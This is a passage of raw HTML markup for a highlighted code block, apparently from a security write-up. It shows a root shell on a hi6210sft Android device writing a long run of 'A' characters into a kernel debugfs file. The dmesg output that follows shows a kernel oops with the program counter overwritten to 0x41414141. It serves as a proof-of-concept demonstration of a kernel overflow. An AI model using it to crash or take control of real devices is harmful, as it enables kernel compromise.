class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a36edb08bf53501381944-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a36edb08bf53501381944-70\">70<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-1\"><span class=\"crayon-v\">root<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">hi6210sft<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\"># echo 0 &gt; \/proc\/sys\/kernel\/panic_on_oops<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-2\"><span class=\"crayon-v\">root<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">hi6210sft<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\"># echo<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-3\">\u201c<span class=\"crayon-e\">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-4\"><span class=\"crayon-e\">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-5\"><span class=\"crayon-i\">AAAAAAAAAAAAAAAAA<\/span>\u201d<span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">kernel<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">debug<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">wkupccpu_dbgfs<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">wkupccpu<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-6\"><span class=\"crayon-v\">root<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">hi6210sft<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\"># dmesg<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-7\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-8\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.458918s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">pwrctrl<\/span><span class=\"crayon-sy\">_<\/span>debug<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">wkupccpu<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-9\"><span class=\"crayon-v\">DEBUGFS<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">cmd <\/span><span class=\"crayon-v\">error<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-10\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459040s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-e\">Internal <\/span><span class=\"crayon-v\">error<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8a000000<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-11\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-p\">#4] PREEMPT SMP<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-12\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459101s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-e\">Modules <\/span><span class=\"crayon-e\">linked <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-13\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459223s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">CPU<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PID<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Comm<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">tmpmksh<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-14\"><span class=\"crayon-v\">Tainted<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">G<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">D<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3.10.61<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">g4ece278<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\">#2<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-15\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459315s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">task<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffffffc010882b00 <\/span><span class=\"crayon-v\">ti<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-16\"><span class=\"crayon-e\">ffffffc00316c000 <\/span><span class=\"crayon-v\">task<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ti<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ffffffc00316c000<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-17\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459406s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-e\">PC <\/span><span class=\"crayon-st\">is<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">at<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x41414141414141<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-18\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459467s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-e\">LR <\/span><span class=\"crayon-st\">is<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">at<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x4141414141414141<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-19\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459528s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">pc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">0041414141414141<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">lr<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-20\"><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4141414141414141<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pstate<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">60000145<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-21\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459589s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">sp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ffffffc00316fe80<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-22\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459650s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x29<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4141414141414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x28<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-23\"><span class=\"crayon-v\">ffffffc00316c000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-24\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459742s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x27<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffffffc0012be000 <\/span><span class=\"crayon-v\">x26<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-25\"><span class=\"crayon-cn\">0000000000000040<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-26\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459833s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17709<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">cpu1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">tmp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">mksh<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-v\">x25<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000116<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x24<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a36edb08bf53501381944-27\"><span class=\"crayon-cn\">0000000000000015<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a36edb08bf53501381944-28\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8202.459925s<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2017<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">43<\/span><span class=\"crayon-sy\">]<\/span><span 